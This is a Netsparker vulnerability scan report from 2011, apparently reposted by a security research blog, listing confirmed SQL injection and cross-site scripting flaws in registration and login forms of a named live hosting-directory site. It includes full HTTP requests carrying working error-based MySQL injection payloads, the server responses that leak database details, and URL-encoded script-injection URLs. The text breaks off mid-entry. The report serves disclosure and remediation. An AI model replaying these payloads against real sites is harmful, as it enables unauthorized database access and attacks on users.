XSS, Cross Site Scripting in www.hostingcatalog.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.hostingcatalog.com/banner.php?id=3...
SCAN DATE
4/24/2011 6:56:40 AM
REPORT DATE
4/24/2011 10:37:37 AM
SCAN DURATION
02:25:02

Total Requests

Average Speed

req/sec.
167
identified
147
confirmed
29
critical
5
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
17 %
IMPORTANT
77 %
MEDIUM
1 %
LOW
2 %
INFORMATION
3 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Cookie Not Marked As HttpOnly Yes
/advert_login.php user_login POST SQL Injection Yes
user_login POST SQL Injection Yes
user_login POST SQL Injection Yes
user_login POST SQL Injection Yes
user_login POST [Probable] SQL Injection No
user_login POST [Probable] SQL Injection No
user_login POST [Probable] SQL Injection No
user_login POST [Probable] SQL Injection No
user_login POST Cross-site Scripting Yes
user_login POST Cross-site Scripting Yes
user_login POST Cross-site Scripting Yes
user_login POST Cross-site Scripting Yes
Password Transmitted Over HTTP Yes
/banner.php id GET [Probable] SQL Injection No
PHP Version Disclosure No
id GET Database Error Message No
/file.php/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004CF)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/file.php/adnetworkpartnerprogram.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004EE)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/file.php/advertiseradnetwork.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004DD)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/file.php/contact.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00073E)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/file.php/faq.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00072B)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/file.php/partner1.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000753)%3C/script%3E URI-BASED Raw URI Cross-site Scripting Yes
/images/header/ Directory Listing (Apache) No
/notcharged.php param GET Cross-site Scripting Yes
/register.php company_name POST SQL Injection Yes
e_mail POST SQL Injection Yes
company_name POST SQL Injection Yes
e_mail POST SQL Injection Yes
company_name POST SQL Injection Yes
e_mail POST SQL Injection Yes
company_name POST SQL Injection Yes
e_mail POST SQL Injection Yes
company_name POST SQL Injection Yes
e_mail POST SQL Injection Yes
company_name POST [Probable] SQL Injection No
e_mail POST [Probable] SQL Injection No
company_name POST [Probable] SQL Injection No
e_mail POST [Probable] SQL Injection No
company_name POST [Probable] SQL Injection No
e_mail POST [Probable] SQL Injection No
company_name POST [Probable] SQL Injection No
e_mail POST [Probable] SQL Injection No
company_name POST [Probable] SQL Injection No
e_mail POST [Probable] SQL Injection No
address POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
bill_address POST Cross-site Scripting Yes
bill_address2 POST Cross-site Scripting Yes
bill_city POST Cross-site Scripting Yes
bill_phone POST Cross-site Scripting Yes
bill_province POST Cross-site Scripting Yes
bill_zip POST Cross-site Scripting Yes
card_number POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
company_name POST Cross-site Scripting Yes
deposit POST Cross-site Scripting Yes
e_mail POST Cross-site Scripting Yes
expire_date POST Cross-site Scripting Yes
first_name POST Cross-site Scripting Yes
last_name POST Cross-site Scripting Yes
owner_first_name POST Cross-site Scripting Yes
owner_last_name POST Cross-site Scripting Yes
phone POST Cross-site Scripting Yes
promo_code POST Cross-site Scripting Yes
province POST Cross-site Scripting Yes
retype_e_mail POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
company_name POST Cross-site Scripting Yes
first_name POST Cross-site Scripting Yes
last_name POST Cross-site Scripting Yes
address POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
province POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
phone POST Cross-site Scripting Yes
e_mail POST Cross-site Scripting Yes
retype_e_mail POST Cross-site Scripting Yes
deposit POST Cross-site Scripting Yes
promo_code POST Cross-site Scripting Yes
card_number POST Cross-site Scripting Yes
expire_date POST Cross-site Scripting Yes
owner_first_name POST Cross-site Scripting Yes
owner_last_name POST Cross-site Scripting Yes
bill_address POST Cross-site Scripting Yes
bill_address2 POST Cross-site Scripting Yes
bill_city POST Cross-site Scripting Yes
bill_province POST Cross-site Scripting Yes
bill_zip POST Cross-site Scripting Yes
bill_phone POST Cross-site Scripting Yes
company_name POST Cross-site Scripting Yes
first_name POST Cross-site Scripting Yes
last_name POST Cross-site Scripting Yes
address POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
province POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
phone POST Cross-site Scripting Yes
e_mail POST Cross-site Scripting Yes
retype_e_mail POST Cross-site Scripting Yes
deposit POST Cross-site Scripting Yes
promo_code POST Cross-site Scripting Yes
card_number POST Cross-site Scripting Yes
expire_date POST Cross-site Scripting Yes
owner_first_name POST Cross-site Scripting Yes
owner_last_name POST Cross-site Scripting Yes
bill_address POST Cross-site Scripting Yes
bill_address2 POST Cross-site Scripting Yes
bill_city POST Cross-site Scripting Yes
bill_province POST Cross-site Scripting Yes
bill_zip POST Cross-site Scripting Yes
bill_phone POST Cross-site Scripting Yes
company_name POST Cross-site Scripting Yes
first_name POST Cross-site Scripting Yes
last_name POST Cross-site Scripting Yes
address POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
province POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
phone POST Cross-site Scripting Yes
e_mail POST Cross-site Scripting Yes
retype_e_mail POST Cross-site Scripting Yes
deposit POST Cross-site Scripting Yes
promo_code POST Cross-site Scripting Yes
card_number POST Cross-site Scripting Yes
expire_date POST Cross-site Scripting Yes
owner_first_name POST Cross-site Scripting Yes
owner_last_name POST Cross-site Scripting Yes
bill_address POST Cross-site Scripting Yes
bill_address2 POST Cross-site Scripting Yes
bill_city POST Cross-site Scripting Yes
bill_province POST Cross-site Scripting Yes
bill_zip POST Cross-site Scripting Yes
bill_phone POST Cross-site Scripting Yes
company_name POST Cross-site Scripting Yes
first_name POST Cross-site Scripting Yes
last_name POST Cross-site Scripting Yes
address POST Cross-site Scripting Yes
address2 POST Cross-site Scripting Yes
city POST Cross-site Scripting Yes
province POST Cross-site Scripting Yes
zip POST Cross-site Scripting Yes
phone POST Cross-site Scripting Yes
e_mail POST Cross-site Scripting Yes
retype_e_mail POST Cross-site Scripting Yes
deposit POST Cross-site Scripting Yes
promo_code POST Cross-site Scripting Yes
card_number POST Cross-site Scripting Yes
expire_date POST Cross-site Scripting Yes
owner_first_name POST Cross-site Scripting Yes
owner_last_name POST Cross-site Scripting Yes
bill_address POST Cross-site Scripting Yes
bill_address2 POST Cross-site Scripting Yes
bill_city POST Cross-site Scripting Yes
bill_province POST Cross-site Scripting Yes
bill_zip POST Cross-site Scripting Yes
bill_phone POST Cross-site Scripting Yes
Database User Has Admin Privileges Yes
Critical Form Served Over HTTP Yes
Auto Complete Enabled Yes
MySQL Database Identified Yes
E-mail Address Disclosure No
Redirect Response BODY Is Too Large Yes
/sitemap.xml Sitemap Identified No
SQL Injection

SQL Injection

14 TOTAL
CRITICAL
CONFIRMED
14
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 767
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 748
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:36 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
B1 POST Login
form_field POST 1
password POST 3
remember_both POST 1
remember_mail POST 1
temp_check POST 755
user_login POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.77

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 364
Accept-Encoding: gzip, deflate

B1=Login&form_field=1&password=3&remember_both=1&remember_mail=1&temp_check=755&user_login='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:58:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 383


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND active NOT IN (2,3,4)
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 728
Accept-Encoding: gzip, deflate

company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:16:23 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 709
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 745
Accept-Encoding: gzip, deflate

company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:37:44 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 726
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:46 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:0' for key 1 in SQL SELECT account_id FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
